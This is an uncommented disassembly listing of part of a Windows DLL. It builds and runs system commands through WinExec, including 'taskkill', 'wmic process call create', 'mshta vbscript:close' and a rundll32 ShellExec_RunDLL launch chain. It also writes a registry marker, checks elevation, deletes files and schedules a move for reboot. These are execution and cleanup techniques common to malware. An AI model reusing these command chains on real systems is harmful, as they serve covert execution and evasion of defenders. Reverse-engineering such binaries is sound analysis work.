lea rcx, [rbp + 0xe20]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe50], xmm1
lea rax, [rbp + 0x3000]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x180009040
mov r8, rdi
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xe40]
call fcn.180001460
nop
lea r9, [rbp + 0xe20]
lea r8, [rbp + 0xe40]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x13c0]
call fcn.180001e60
nop
mov r9, rsi
lea r8, [rbp + 0x13c0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x13e0]
call fcn.180001e60
nop
lea r9, [rbp + 0xc40]
lea r8, [rbp + 0x13e0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x9a0]
call fcn.180001e60
nop
lea rcx, [rbp + 0x13e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x13c0]
call fcn.180002290
nop
mov r8, qword [rbp + 0xe58]
cmp r8, 0xf
jbe 0x1800090f6
mov rdx, qword [rbp + 0xe40]
lea rcx, [rbp + 0xe40]
call fcn.180002990
movdqu xmmword [rbp + 0xe50], xmm7
mov byte [rbp + 0xe40], 0
mov r8, qword [rbp + 0xe38]
cmp r8, 0xf
jbe 0x180009125
mov rdx, qword [rbp + 0xe20]
lea rcx, [rbp + 0xe20]
call fcn.180002990
movdqu xmmword [rbp + 0xe30], xmm7
mov byte [rbp + 0xe20], 0
lea rcx, [rbp + 0x1b60]
call fcn.180002290
nop
mov r8, qword [rbp + 0xc58]
cmp r8, 0xf
jbe 0x180009161
mov rdx, qword [rbp + 0xc40]
lea rcx, [rbp + 0xc40]
call fcn.180002990
movdqu xmmword [rbp + 0xc50], xmm7
mov byte [rbp + 0xc40], 0
lea rdx, [rbp + 0x9a0]
cmp qword [rbp + 0x9b8], 0xf
cmova rdx, qword [rbp + 0x9a0]
xor r8d, r8d
lea rcx, str.blscr_bin
call fcn.180003b90
test eax, eax
jne 0x1800091b0
lea rcx, [rbp + 0x9a0]
call fcn.180002d10
mov rcx, rax
call fcn.180004b60
jmp 0x1800091b5
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x68], rax
xor edx, edx
mov ecx, 0x7d0
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
mov qword [rbp + 0x160], rbx
mov qword [rbp + 0x168], rbx
xor r8d, r8d
lea rdx, [0x180011951]
lea rcx, [rbp + 0x150]
call fcn.180001460
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x550]
call fcn.180005840
movups xmm6, xmmword [rax]
mov rdi, qword [rax + 8]
mov rdx, rdi
shr rdx, 0x30
lea rcx, [rbp + 0x2b00]
call fcn.180007610
mov r13, rax
pextrw edx, xmm6, 6
lea rcx, [rbp + 0x2ac0]
call fcn.180007610
mov r12, rax
pextrw edx, xmm6, 5
lea rcx, [rbp + 0x1f60]
call fcn.180007610
mov r15, rax
movzx edx, di
lea rcx, [rbp + 0x1f40]
call fcn.180007610
mov r14, rax
pextrw edx, xmm6, 3
lea rcx, [rbp + 0x1ec0]
call fcn.180007610
mov rsi, rax
pextrw edx, xmm6, 1
lea rcx, [rbp + 0x1ba0]
call fcn.180007610
mov rdi, rax
movd ecx, xmm6
movzx edx, cx
lea rcx, [rbp + 0x1b80]
call fcn.180007610
nop
mov r9, rdi
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1300]
call fcn.180001e60
nop
mov r9, rsi
lea r8, [rbp + 0x1300]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1320]
call fcn.180001e60
nop
mov r9, r14
lea r8, [rbp + 0x1320]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1340]
call fcn.180001e60
nop
mov r9, r15
lea r8, [rbp + 0x1340]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1360]
call fcn.180001e60
nop
mov r9, r12
lea r8, [rbp + 0x1360]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x13a0]
call fcn.180001e60
nop
mov r9, r13
lea r8, [rbp + 0x13a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xf00]
call fcn.180001e60
nop
lea rcx, [rbp + 0x13a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1360]
call fcn.180002290
nop
lea rcx, [rbp + 0x1340]
call fcn.180002290
nop
lea rcx, [rbp + 0x1320]
call fcn.180002290
nop
lea rcx, [rbp + 0x1300]
call fcn.180002290
nop
lea rcx, [rbp + 0x1b80]
call fcn.180002290
nop
lea rcx, [rbp + 0x1ba0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1ec0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1f40]
call fcn.180002290
nop
lea rcx, [rbp + 0x1f60]
call fcn.180002290
nop
lea rcx, [rbp + 0x2ac0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2b00]
call fcn.180002290
lea r9, [rbp + 0xf00]
cmp qword [rbp + 0xf18], 0xf
cmova r9, qword [rbp + 0xf00]
lea r8, str.LastExecution
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionComponentsHelperModule
mov r14d, 1
mov ecx, r14d
call fcn.1800056e0
call fcn.180004450
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
lea rdx, str.ELE_TRUE
jne 0x180009429
lea rdx, str.ELE_FALSE
call fcn.1800011d0
lea rdx, [0x180001930]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.READY
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rbx
mov qword [rbp + 0x148], rbx
mov r8d, 3
lea rdx, [0x180011e8c]
lea rcx, [rbp + 0x130]
call fcn.180001460
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x5a0]
call fcn.180005840
xorps xmm0, xmm0
movups xmmword [rbp + 0xa20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa30], xmm1
mov r8d, 0x19
lea rdx, str.taskkill__f__im_dummy.exe
lea rcx, [rbp + 0xa20]
call fcn.180001460
lea rcx, [rbp + 0xa20]
cmp qword [rbp + 0xa38], 0xf
cmova rcx, qword [rbp + 0xa20]
mov r8d, r14d
mov edx, 0x8000000
call fcn.180003560
mov r8, qword [rbp + 0xa38]
cmp r8, 0xf
jbe 0x180009521
mov rdx, qword [rbp + 0xa20]
lea rcx, [rbp + 0xa20]
call fcn.180002990
movdqu xmmword [rbp + 0xa30], xmm7
mov byte [rbp + 0xa20], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xde0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdf0], xmm1
mov r8d, 9
lea rdx, str.dummy.exe
lea rcx, [rbp + 0xde0]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe10], xmm1
lea rax, [rbp + 0x3000]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x180009585
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xe00]
call fcn.180001460
nop
lea r9, [rbp + 0xde0]
lea r8, [rbp + 0xe00]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x980]
call fcn.180001e60
nop
mov r8, qword [rbp + 0xe18]
cmp r8, 0xf
jbe 0x1800095e3
mov rdx, qword [rbp + 0xe00]
lea rcx, [rbp + 0xe00]
call fcn.180002990
movdqu xmmword [rbp + 0xe10], xmm7
mov byte [rbp + 0xe00], 0
mov r8, qword [rbp + 0xdf8]
cmp r8, 0xf
jbe 0x180009612
mov rdx, qword [rbp + 0xde0]
lea rcx, [rbp + 0xde0]
call fcn.180002990
movdqu xmmword [rbp + 0xdf0], xmm7
mov byte [rbp + 0xde0], 0
lea rcx, [rbp + 0x980]
cmp qword [rbp + 0x998], 0xf
cmova rcx, qword [rbp + 0x980]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x5b0]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x5b0]
call fcn.180001d00
mov rdi, rax
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x580]
call fcn.180001d00
nop
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.180006130
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0xc80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc90], xmm1
mov r8d, 5
lea rdx, str._NULL
lea rcx, [rbp + 0xc80]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xca0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcb0], xmm1
lea rax, [rbp + 0x3220]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800096f0
lea rdx, [rbp + 0x3220]
lea rcx, [rbp + 0xca0]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xcc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcd0], xmm1
mov r8, r14
lea rdx, [0x180011ec4]
lea rcx, [rbp + 0xcc0]
call fcn.180001460
nop
lea rdx, [rbp + 0x980]
lea rcx, [rbp + 0x2b20]
call fcn.180001d00
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xdc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdd0], xmm1
mov r8d, 0x19
lea rdx, str.wmic_process_call_create
lea rcx, [rbp + 0xdc0]
call fcn.180001460
nop
mov r9, rdi
lea r8, [rbp + 0xdc0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x12a0]
call fcn.180001e60
nop
lea r9, [rbp + 0xcc0]
lea r8, [rbp + 0x12a0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x12c0]
call fcn.180001e60
nop
lea r9, [rbp + 0xca0]
lea r8, [rbp + 0x12c0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x12e0]
call fcn.180001e60
nop
lea r9, [rbp + 0xc80]
lea r8, [rbp + 0x12e0]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1000]
call fcn.180001e60
lea rcx, [rbp + 0x1000]
cmp qword [rbp + 0x1018], 0xf
cmova rcx, qword [rbp + 0x1000]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [rbp + 0x1000]
call fcn.180002290
nop
lea rcx, [rbp + 0x12e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x12c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x12a0]
call fcn.180002290
nop
mov r8, qword [rbp + 0xdd8]
cmp r8, 0xf
jbe 0x180009870
mov rdx, qword [rbp + 0xdc0]
lea rcx, [rbp + 0xdc0]
call fcn.180002990
movdqu xmmword [rbp + 0xdd0], xmm7
mov byte [rbp + 0xdc0], 0
lea rcx, [rbp + 0x2b20]
call fcn.180002290
nop
mov r8, qword [rbp + 0xcd8]
cmp r8, 0xf
jbe 0x1800098ac
mov rdx, qword [rbp + 0xcc0]
lea rcx, [rbp + 0xcc0]
call fcn.180002990
movdqu xmmword [rbp + 0xcd0], xmm7
mov byte [rbp + 0xcc0], 0
mov r8, qword [rbp + 0xcb8]
cmp r8, 0xf
jbe 0x1800098db
mov rdx, qword [rbp + 0xca0]
lea rcx, [rbp + 0xca0]
call fcn.180002990
movdqu xmmword [rbp + 0xcb0], xmm7
mov byte [rbp + 0xca0], 0
mov r8, qword [rbp + 0xc98]
cmp r8, 0xf
jbe 0x18000990a
mov rdx, qword [rbp + 0xc80]
lea rcx, [rbp + 0xc80]
call fcn.180002990
movdqu xmmword [rbp + 0xc90], xmm7
mov byte [rbp + 0xc80], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa50], xmm1
mov r8d, 0x16
lea rdx, str.mshta_vbscript:close__
lea rcx, [rbp + 0xa40]
call fcn.180001460
lea rcx, [rbp + 0xa40]
cmp qword [rbp + 0xa58], 0xf
cmova rcx, qword [rbp + 0xa40]
xor r8d, r8d
xor edx, edx
call fcn.180003560
mov r8, qword [rbp + 0xa58]
cmp r8, 0xf
jbe 0x180009988
mov rdx, qword [rbp + 0xa40]
lea rcx, [rbp + 0xa40]
call fcn.180002990
movdqu xmmword [rbp + 0xa50], xmm7
mov byte [rbp + 0xa40], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa70], xmm1
mov r8d, 0x18
lea rdx, str.mshta_javascript:close__
lea rcx, [rbp + 0xa60]
call fcn.180001460
lea rcx, [rbp + 0xa60]
cmp qword [rbp + 0xa78], 0xf
cmova rcx, qword [rbp + 0xa60]
xor r8d, r8d
xor edx, edx
call fcn.180003560
mov r8, qword [rbp + 0xa78]
cmp r8, 0xf
jbe 0x180009a06
mov rdx, qword [rbp + 0xa60]
lea rcx, [rbp + 0xa60]
call fcn.180002990
movdqu xmmword [rbp + 0xa70], xmm7
mov byte [rbp + 0xa60], 0
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0x980]
cmp qword [rbp + 0x998], 0xf
cmova rcx, qword [rbp + 0x980]
xor edx, edx
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rcx, [rbp + 0x9c0]
cmp qword [rbp + 0x9d8], 0xf
cmova rcx, qword [rbp + 0x9c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], rbx
mov r8d, 3
lea rdx, [0x180011f1c]
lea rcx, [rbp + 0x110]
call fcn.180001460
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x690]
call fcn.180005840
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x670]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x670]
call fcn.180001d00
mov rdi, rax
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x650]
call fcn.180001d00
nop
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.180006130
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
lea r13, str._nmci
mov r12d, dword [rsp + 0x58]
mov r15, qword [rsp + 0x70]
cmp r12d, 7
jle 0x180009b69
mov rcx, rbx
mov rdx, qword [r15 + 0x38]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x180009b69
cmp rcx, 6
jne 0x180009b30
lea rdx, str.MCI_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180009b84
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x630]
call fcn.180001d00
mov rcx, rax
call fcn.180004dc0
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0x920]
cmp qword [rbp + 0x938], 0xf
cmova rcx, qword [rbp + 0x920]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0xa00]
cmp qword [rbp + 0xa18], 0xf
cmova rcx, qword [rbp + 0xa00]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], rbx
mov r8d, 3
lea rdx, [0x180011f34]
lea rcx, [rbp + 0x70]
call fcn.180001460
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x6a0]
call fcn.180005840
cmp r12d, 0xc
jle 0x180009c6c
mov rcx, rbx
mov rdx, qword [r15 + 0x60]
lea r8, str._nbp
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x180009c6c
cmp rcx, 5
jne 0x180009c30
lea rdx, str.BP_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180009d4b
mov edx, 0x12c
mov ecx, 0x19f
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x19f
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x26e
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x26e
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x2ba
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x2ba
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x26e
call fcn.180002e10
mov edx, r14d
mov ecx, 0x12c
call fcn.180005a20
mov edx, 0x12c
mov ecx, 0x22a
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x22a
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x20b
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x20b
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x1d2
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x1d2
call fcn.180002e10
mov edx, 0x12c
mov ecx, 0x19f
call fcn.180002e10
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0x108], rbx
mov r8d, 3
lea rdx, [0x180011f4c]
lea rcx, [rbp + 0xf0]
call fcn.180001460
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x6b0]
call fcn.180005840
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x610]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x610]
call fcn.180001d00
mov rdi, rax
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0x5f0]
call fcn.180001d00
nop
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.180006130
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
cmp r12d, 7
jle 0x180009e49
mov rcx, rbx
mov rdx, qword [r15 + 0x38]
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x180009e49
cmp rcx, 6
jne 0x180009e10
lea rdx, str.MCI_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180009e64
lea rdx, [rbp + 0x920]
lea rcx, [rbp + 0x5d0]
call fcn.180001d00
mov rcx, rax
call fcn.180004dc0
mov edx, r14d
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0x920]
cmp qword [rbp + 0x938], 0xf
cmova rcx, qword [rbp + 0x920]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x9e0]
cmp qword [rbp + 0x9f8], 0xf
cmova rcx, qword [rbp + 0x9e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], rbx
mov r8d, 3
lea rdx, [0x180011f50]
lea rcx, [rbp + 0xd0]
call fcn.180001460
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x6c0]
call fcn.180005840
xorps xmm0, xmm0
movups xmmword [rbp + 0xd40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd50], xmm1
mov r8, r14
lea rdx, [0x180011f54]
lea rcx, [rbp + 0xd40]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd70], xmm1
lea rax, [rbp + 0x3440]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x180009f44
lea rdx, [rbp + 0x3440]
lea rcx, [rbp + 0xd60]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd90], xmm1
mov r8d, 2
lea rdx, [0x180011f58]
lea rcx, [rbp + 0xd80]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xda0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xdb0], xmm1
lea rax, [rbp + 0x3330]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x180009fb0
lea rdx, [rbp + 0x3330]
lea rcx, [rbp + 0xda0]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc70], xmm1
mov r8d, 0x5f
lea rdx, str.rundll32_shell32.dll_ShellExec_RunDLL_rundll32_hotplug.dll_HotPlugSafeRemovalDriveNotification
lea rcx, [rbp + 0xc60]
call fcn.180001460
nop
lea r9, [rbp + 0xda0]
lea r8, [rbp + 0xc60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1220]
call fcn.180001e60
nop
lea r9, [rbp + 0xd80]
lea r8, [rbp + 0x1220]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1260]
call fcn.180001e60
nop
lea r9, [rbp + 0xd60]
lea r8, [rbp + 0x1260]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1280]
call fcn.180001e60
nop
lea r9, [rbp + 0xd40]
lea r8, [rbp + 0x1280]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1020]
call fcn.180001e60
lea rcx, [rbp + 0x1020]
cmp qword [rbp + 0x1038], 0xf
cmova rcx, qword [rbp + 0x1020]
xor r8d, r8d
xor edx, edx
call fcn.180003560
lea rcx, [rbp + 0x1020]
call fcn.180002290
nop
lea rcx, [rbp + 0x1280]
call fcn.180002290
nop
lea rcx, [rbp + 0x1260]
call fcn.180002290
nop
lea rcx, [rbp + 0x1220]
call fcn.180002290
nop
mov r8, qword [rbp + 0xc78]
cmp r8, 0xf
jbe 0x18000a0f1
mov rdx, qword [rbp + 0xc60]
lea rcx, [rbp + 0xc60]
call fcn.180002990
movdqu xmmword [rbp + 0xc70], xmm7
mov byte [rbp + 0xc60], 0
mov r8, qword [rbp + 0xdb8]
cmp r8, 0xf
jbe 0x18000a120
mov rdx, qword [rbp + 0xda0]
lea rcx, [rbp + 0xda0]
call fcn.180002990
movdqu xmmword [rbp + 0xdb0], xmm7
mov byte [rbp + 0xda0], 0
mov r8, qword [rbp + 0xd98]
cmp r8, 0xf
jbe 0x18000a14f
mov rdx, qword [rbp + 0xd80]
lea rcx, [rbp + 0xd80]
call fcn.180002990
movdqu xmmword [rbp + 0xd90], xmm7
mov byte [rbp + 0xd80], 0
mov r8, qword [rbp + 0xd78]
cmp r8, 0xf
jbe 0x18000a17e
mov rdx, qword [rbp + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.180002990
movdqu xmmword [rbp + 0xd70], xmm7
mov byte [rbp + 0xd60], 0
mov r8, qword [rbp + 0xd58]
cmp r8, 0xf
jbe 0x18000a1ad
mov rdx, qword [rbp + 0xd40]
lea rcx, [rbp + 0xd40]
call fcn.180002990
movdqu xmmword [rbp + 0xd50], xmm7
mov byte [rbp + 0xd40], 0
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rbx
mov r8d, 3
lea rdx, [0x180011fc0]
lea rcx, [rbp + 0xb0]
call fcn.180001460
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x6d0]
call fcn.180005840
mov r9d, r14d
mov r8d, r14d
lea rdx, [0x180011951]
lea rcx, [0x180011951]
call fcn.180004cc0
mov r13d, eax
mov dword [rsp + 0x68], eax
mov edx, r14d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rbx
mov r8d, 3
lea rdx, [0x180011fc4]
lea rcx, [rbp + 0x90]
call fcn.180001460
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x6e0]
call fcn.180005840
xorps xmm0, xmm0
movups xmmword [rbp + 0xce0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcf0], xmm1
mov r8d, 4
lea rdx, str..bin
lea rcx, [rbp + 0xce0]
call fcn.180001460
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
lea rcx, [rbp + 0x2b40]
call fcn.180007610
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xd00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd10], xmm1
mov r8d, 2
lea rdx, [0x180011fc8]
lea rcx, [rbp + 0xd00]
call fcn.180001460
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd30], xmm1
lea rax, [rbp + 0x3000]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x18000a310
mov r8, rsi
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xd20]
call fcn.180001460
nop
lea r9, [rbp + 0xd00]
lea r8, [rbp + 0xd20]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1240]
call fcn.180001e60
nop
mov r9, rdi
lea r8, [rbp + 0x1240]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1380]
call fcn.180001e60
nop
lea r9, [rbp + 0xce0]
lea r8, [rbp + 0x1380]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xf20]
call fcn.180001e60
nop
lea rcx, [rbp + 0x1380]
call fcn.180002290
nop
lea rcx, [rbp + 0x1240]
call fcn.180002290
nop
mov r8, qword [rbp + 0xd38]
cmp r8, 0xf
jbe 0x18000a3c6
mov rdx, qword [rbp + 0xd20]
lea rcx, [rbp + 0xd20]
call fcn.180002990
movdqu xmmword [rbp + 0xd30], xmm7
mov byte [rbp + 0xd20], 0
mov r8, qword [rbp + 0xd18]
cmp r8, 0xf
jbe 0x18000a3f5
mov rdx, qword [rbp + 0xd00]
lea rcx, [rbp + 0xd00]
call fcn.180002990
movdqu xmmword [rbp + 0xd10], xmm7
mov byte [rbp + 0xd00], 0
lea rcx, [rbp + 0x2b40]
call fcn.180002290
nop
mov r8, qword [rbp + 0xcf8]
cmp r8, 0xf
jbe 0x18000a431
mov rdx, qword [rbp + 0xce0]
lea rcx, [rbp + 0xce0]
call fcn.180002990
movdqu xmmword [rbp + 0xcf0], xmm7
mov byte [rbp + 0xce0], 0
lea rcx, [rbp + 0x3550]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea rdi, str._ndd
cmp r12d, 9
jle 0x18000a4ac
mov rcx, rbx
mov rdx, qword [r15 + 0x48]
lea r8, str._nswp
nop dword [rax + rax]
